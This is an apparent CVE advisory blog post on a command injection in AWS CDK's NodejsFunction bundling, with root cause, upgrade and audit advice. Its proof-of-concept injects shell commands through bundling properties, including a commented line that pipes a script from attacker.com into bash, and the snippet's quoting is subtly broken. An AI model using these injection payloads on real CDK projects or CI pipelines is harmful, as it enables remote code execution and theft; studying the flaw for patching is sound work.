AWS CDK (aws-cdk-lib), OS Command Injection, CVE-2026-11417 (High) -DC-Jun2026-440

Listen to this Post

This vulnerability arises from unsanitized use of user-controlled strings during the local bundling process in the AWS CDK’s `NodejsFunction` construct. In versions before 2.245.0 (or 2.246.0 on Windows), the `NodejsFunction` construct constructs an `esbuild` command using several properties that can be influenced by an attacker: externalModules, define, loader, inject, and esbuildArgs. The values from these properties are directly interpolated into the command string. Following this, the command is executed via a shell using `spawnSync` with `bash -c` on macOS/Linux or `cmd /c` on Windows. No escaping or validation is performed. As a result, if an attacker can control the value of any of these properties, they can inject arbitrary shell metacharacters (such as ;, |, $(), or backticks), allowing them to execute arbitrary commands with the privileges of the user running cdk synth, cdk deploy, or cdk diff. This could happen, for example, through a malicious npm dependency or a crafty pull request. The root cause is a classic case of improper neutralization of special elements used in an OS command (CWE-78).

DailyCVE Form:

Platform: AWS CDK (aws-cdk-lib)
Version: <2.245.0 (Windows<2.246.0)
Vulnerability : Command Injection (RCE)
Severity: High
date: June 10, 2026

Prediction: June 24, 2026

What Undercode Say:

Run `cdk synth` to see the vulnerable bundling process.

Install a malicious npm package that exploits the vulnerability.
npm install malicious-package
The malicious package's construct will set a payload in, for example, the 'externalModules' property.
In src/index.ts:
new NodejsFunction(this, 'MyFunction', {
entry: 'src/handler.ts',
bundling: {
externalModules: ['fs'; touch /tmp/pwned; '],
// Or define: { 'process.env.EXPLOIT': '$(id > /tmp/exploit.txt)' },
// Or loader: { '.js': 'text; curl attacker.com/shell.sh | bash; ' },
},
});

The CDK framework will then generate an esbuild command similar to:

esbuild --bundle "src/handler.ts" --target=node14 --platform=node --external:fs'; touch /tmp/pwned; '

Executing this shell command creates a file `/tmp/pwned`.

Exploit:

An attacker can achieve RCE by crafting a pull request (PR) that modifies a CDK app’s configuration to include a malicious `NodejsFunction` bundling property. Once the PR is merged and `cdk synth` or `cdk deploy` is run (e.g., in a CI pipeline), the injected command will execute.

Protection:

  • Upgrade to `aws-cdk-lib` version 2.245.0 or later (2.246.0 or later on Windows).
  • Audit all third-party constructs and PRs that set `NodejsFunction` bundling properties.
  • Validate and sanitize any user-controlled inputs used in CDK app configurations.

Impact:

Arbitrary code execution with the privileges of the user running CDK commands (e.g., cdk synth), leading to full compromise of the development or CI/CD environment. This can result in data theft, lateral movement, and deployment of malicious infrastructure.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top